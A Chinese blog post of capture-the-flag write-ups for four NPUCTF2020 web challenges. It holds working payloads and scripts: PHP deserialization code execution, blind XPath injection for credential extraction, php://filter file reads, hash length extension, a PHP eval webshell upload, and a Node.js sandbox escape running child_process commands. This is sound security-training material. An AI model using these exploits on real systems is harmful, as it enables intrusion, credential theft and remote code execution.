本篇内容
[NPUCTF2020]ReadlezPHP
[NPUCTF2020]ezlogin
[NPUCTF2020]ezinclude
[NPUCTF2020]验证🐎
本篇所有内容参考官方WP:NPUCTF Official Write-Up。
[NPUCTF2020]ReadlezPHP
直接加view-source:
查看源代码:
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
主要是利用__destruct()
方法,使$b
能代码执行,$a
是执行的参数。然后将之序列化。payload:
<?php
class HelloPhp{
public $a;
public $b;
}
$c = new HelloPhp();
$c->a = 'phpinfo();';
$c->b = 'assert';
print_r(urlencode(serialize($c)));
?>
结果:
O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D
另一种payload,也记录一下:
<?php
class HelloPhp{
public $a;
public $b;
}
$c = new HelloPhp();
$c->a = 'phpinfo';
$c->b = 'call_user_func';
print_r(urlencode(serialize($c)));
?>
[NPUCTF2020]ezlogin
老是超时,右键源代码发现有个token在搞鬼:
BP抓包发现是个xml请求,猜测是xpath注入:
但是有个烦人的token,直接写脚本抓取token,以便测试:
import requests
import re
import string
url = 'http://70c55725-5429-4beb-ba02-8f324c6b04cb.node3.buuoj.cn/login.php'
session = requests.session()
def getToken():
r = session.get(url)
token = re.findall('id="token" value="(.*?)"',r.text)[0]
#print(token)
return token
def main():
headers = {'Content-Type': 'application/xml'}
#user即写payload的地方
user = "admin"
data = "<username>{}</username><password>2</password><token>{}</token>".format(user,getToken())
res = session.post(url,data=data,headers=headers)
print(res.text)
if __name__ == '__main__':
main()
经测试,成功了会回显非法操作!
,失败了会回显用户名或密码错误!
。
测试开始(以下测试都只需改动main()
函数就好了):
user = "admin" #用户名或密码错误!
1、判断根下节点数:
def main():
headers = {'Content-Type': 'application/xml'}
for i in range(1,8):
user = "admin' or count(/*)={} or '1".format(i)
data = "<username>{}</username><password>2</password><token>{}</token>".format(user,getToken())
res = session.post(url,data=data,headers=headers)
if "非法操作" in res.text:
print('节点数:%d'%i)
break
结果:
2、猜解第一级节点值:
def main():
headers = {'Content-Type': 'application/xml'}
chars = string.ascii_letters + string.digits; #生成所有的字母和数字,共62个
result = ''
for i in range(1,50):
for j in range(0,len(chars)):
user = "admin' or substring(name(/*[position()=1]),{},1)='{}' or '1'='1".format(i,chars[j])
data = "<username>{}</username><password>2</password><token>{}</token>".format(user,getToken())
res = session.post(url,data=data,headers=headers)
if "非法操作" in res.text:
result += chars[j]
print('第{}位:\t{}\t结果:{}'.format(i, chars[j], result))
break
结果:
3、判断root的下一级节点数:
类似于第1步,改个user值就好:
user = "admin' or count(/root/*)={} or '1".format(i)
节点数为1。
4、猜解root的下一级节点:
类似于第2步,改个user值就好:
user = "admin' or substring(name(/root/*[position()=1]),{},1)='{}' or '1'='1".format(i,chars[j])
节点值为accounts
。
5、判断accounts的下一级节点数:
类似于第1步,改个user值就好:
user = "admin' or count(/root/accounts/*)={} or '1".format(i)
节点数为2。
6、猜解accounts的下一级节点:
类似于第2步,改个user值就好:
user = "admin' or substring(name(/root/accounts/*[position()=1]),{},1)='{}' or '1'='1".format(i,chars[j])
user = "admin' or substring(name(/root/accounts/*[position()=2]),{},1)='{}' or '1'='1".format(i,chars[j])
节点值都为user
。
7、判断user的下一级节点数:
类似于第1步,改个user值就好:
user = "admin' or count(/root/accounts/user[1]/*)={} or '1".format(i)
节点数为3。
8、猜解user的下一级节点:
类似于第2步,改个user值就好:
user = "admin' or substring(name(/root/accounts/user[1]/*[position()=1]),{},1)='{}' or '1'='1".format(i,chars[j])
user = "admin' or substring(name(/root/accounts/user[1]/*[position()=2]),{},1)='{}' or '1'='1".format(i,chars[j])
user = "admin' or substring(name(/root/accounts/user[1]/*[position()=3]),{},1)='{}' or '1'='1".format(i,chars[j])
节点值分别为id、username、password
。
9、分别猜解id、username、password的值:
类似于第2步,改个user值就好:
user = "admin' or substring(/root/accounts/user[1]/*[1],{},1)='{}' or '1'='1".format(i,chars[j])
user = "admin' or substring(/root/accounts/user[1]/*[2],{},1)='{}' or '1'='1".format(i,chars[j])
user = "admin' or substring(/root/accounts/user[1]/*[3],{},1)='{}' or '1'='1".format(i,chars[j])
第一个user节点id、username、password
对应的值为1,guest,e10adc3949ba59abbe56e057f20f883e
。
user = "admin' or substring(/root/accounts/user[2]/*[1],{},1)='{}' or '1'='1".format(i,chars[j])
user = "admin' or substring(/root/accounts/user[2]/*[2],{},1)='{}' or '1'='1".format(i,chars[j])
user = "admin' or substring(/root/accounts/user[3]/*[3],{},1)='{}' or '1'='1".format(i,chars[j])
第二个user节点id、username、password
对应的值为2,adm1n,cf7414b5bdb2e65ee43083f4ddbc4d9f
。
这个值md5解密一下得到gtfly123
。使用adm1n,gtfly123
登录成功。
右键源代码发现:
解密得到flag is in /flag
。
尝试几番后使用大小写绕过:
admin.php?file=Php://filter/Read=convert.Base64-encode/resource=/flag
base64解密一下即可得到flag。
[NPUCTF2020]ezinclude
直接右键源代码提示:
看到这种形式的猜测是md5的hash长度扩展攻击,需满足的条件如下:
1. 我们要知道salt的长度。
2. 要知道任意一个由salt加密后的md5值,并且知道没有加盐的明文。
3. 用户可以提交md5值。
不知道secret密钥长度写脚本爆破,加盐前的明文自己构造,比如我构造一个
index.php?name=admin&pass=123
然后查看Cookie里的hash
为973225ae4fc8977f86d1a330b0774630
。
以下所有内容参考官方WP:NPUCTF Official Write-Up。
import os
import requests
url = 'http://e15ac1ca-a985-4e4c-bba9-8ce9f428a0a4.node3.buuoj.cn/index.php'
for i in range(1,40):
res = 'hashpump -s 973225ae4fc8977f86d1a330b0774630 -d admin -k {} -a admin'.format(str(i))
data=os.popen(res).read()
sign=data.split('\n')[0]
action=(data.split('\n')[1]).replace('\\x','%')
payload = '?name={}&pass={}'.format(action, sign)
result=requests.get(url+payload).text
print(i,'\t'+result+url+payload)
if 'username/password error' not in result:
break
即secret密钥长度为32,跑出下一关地址flflflflag.php
。
页面发生跳转,bp抓包:
使用dirsearch
扫描发现如下界面:
尝试php://伪协议读取config.php
。
flflflflag.php?file=php://filter/read=convert.base64-encode/resource=config.php
得到config.php
内容:
<?php $secret='%^$&$#fffdflag_is_not_here_ha_ha'; ?>
同样的得到dir.php
内容:
<?php var_dump(scandir('/tmp')); ?>
dir.php
的作用就是扫描/tmp
下的文件。
这里可以用php7 segment fault特性
php://filter/string.strip_tags=/etc/passwd
php执行过程中出现 Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除。
写py脚本运行一下:
import requests
from io import BytesIO
import re
file={
'file': BytesIO(b"<?php eval($_POST[1]);?>")
}
url="http://ae899368-594e-4814-ad27-7520be347d86.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
try:
r=requests.post(url=url,files=file,allow_redirects=False)
except:
print("error")
利用dir.php的作用得到临时文件:
禁掉js查看phpinfo();即可得到flag。
[NPUCTF2020]验证🐎
(Nodejs。。。,目前还看不懂本题,记录一下)
本题参考m0on的writeup。
本题考点:
JS弱类型
JS的toString特性
正则表达式绕过
JS箭头函数利用
JS原型链
点击就得到源代码:
const express = require('express'); //引入express模块
const bodyParser = require('body-parser');
const cookieSession = require('cookie-session');
const fs = require('fs');
const crypto = require('crypto');
const keys = require('./key.js').keys;
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
function saferEval(str) {
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个
//使用readFileSync(同步读取文件方法)读取index.html
const template = fs.readFileSync('./index.html').toString();
function render(results) {
return template.replace('{{results}}', results.join('<br/>'));
}
const app = express(); //实例化一个express
//bodyParser.urlencoded用来解析request中body的urlencoded字符,只支持utf-8的编码的字符,也支持自动的解析gzip和zlib。
//返回的对象是一个键值对,当extended为false的时候,键值对中的值就为'String'或'Array'形式,为true的时候,则可为任何数据类型。
app.use(bodyParser.urlencoded({ extended: false }));
//将文本解析为JSON
app.use(bodyParser.json());
app.use(cookieSession({
name: 'PHPSESSION', // 2020.3/WORKER2 嘿嘿,给👴爪⑧
keys
}));
//冻结Object和Math,表明这俩不可被修改
Object.freeze(Object);
Object.freeze(Math);
//接收POST数据
app.post('/', function (req, res) {
let result = '';
const results = req.session.results || [];
const { e, first, second } = req.body;
if (first && second && first.length===second.length && first!==second && md5(first+keys[0])===md5(second+keys[0])) {
if (req.body.e) {
try {
result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
} catch (e) {
console.log(e);
result = 'Wrong Wrong Wrong!!!';
}
//unshift():向数组的开头添加一个或更多元素,并返回新数组的长度。该方法会改变原数组。
results.unshift(`${req.body.e}=${result}`);
}
} else {
results.unshift('Not verified!');
}
if (results.length > 13) {
//pop():把数组的最后一个元素从其中删除,并返回最后一个元素的值。该方法会改变原数组。
results.pop();
}
req.session.results = results;
res.send(render(req.session.results));
});
// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});
app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
req.session.admin = req.session.admin || 0;
res.send(render(req.session.results = req.session.results || []))
});
app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});
1、先考虑第一层:
first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])
keys不可知,无法爆破,而且需要长度相等,但是本身不相等,注意,此处用的是===
以使类型和值完全匹配。
对其进行加盐md5,加盐中出现了问题,因为盐是字符串,与字符串相加会导致强制类型转化,而String和Array都正好有length属性,并且
'1'===[1] // false
'1'+'salt' // '1salt'
[1]+'salt' // '1salt'
但是直接传urlencoded的表单是没法传数组的,而这里正好使用了JSON的中间件,所以只需要传JSON就好了。
{
"e": "1+1"
"first": "1", # '1'+'str'='1str'
"second": [1] # [1]+'str'='1str'
}
或者传
"first":{"length":"1"},"second":{"length":"1"}
first和second现在都是object,而first.length===second.length
,而且first!==second
,最关键是md5(first+keys[0]) === md5(second+keys[0])
这个代码,first是一个对象,和keys[0]拼接的时候就转换成String,而first的字符串和second的字符串相等,全部满足了。
2、然后考虑绕过正则:
str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')
因为可以使用Math.随便什么单词
,所以可以获取到Math.__proto__
,但这姿势无法直接利用。但是经过尝试,发现Arrow Function
是可以使用的,尝试构造这种链:
((Math)=>(Math=Math.__proto__,Math=Math.__proto__))(Math)
// Math.__proto__.__proto__
然后尝试调用eval或者Function,但是此处无法直接输入字符串,故使用String.fromCharCode(...)
。
然后使用
Math+1 // '[object Math]1'
从原型链上导出String和Function。
((Math)=>(Math=Math.constructor,Math.constructor(Math.fromCharCode(...))))(Math+1)()
// 等价于
const s = Math+1; // '[object Math]1'
const a = s.constructor; // String
const e = a.fromCharCode(...); // ascii to string
const f = a.constructor; // Function
f(e)(); // 调用
py脚本:
import re
encode = lambda code: list(map(ord,code))
decode = lambda code: "".join(map(chr,code))
a=f"""
(Math=>(
Math=Math.constructor,
Math.x=Math.constructor(
Math.fromCharCode({encode("return process.mainModule.require('child_process').execSync('cat /flag')")})
)()
))(Math+1)
"""
b=re.sub(r"[\s\[\]]", "", a) #将a中的空格(\s)和[]都去掉
print(b)
得到:
(Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()))(Math+1)
========================================================
上一篇-----------------------------------目录 -----------------------------------下一篇
========================================================
转载请注明出处。
本文网址:https://blog.csdn.net/hiahiachang/article/details/105756697
========================================================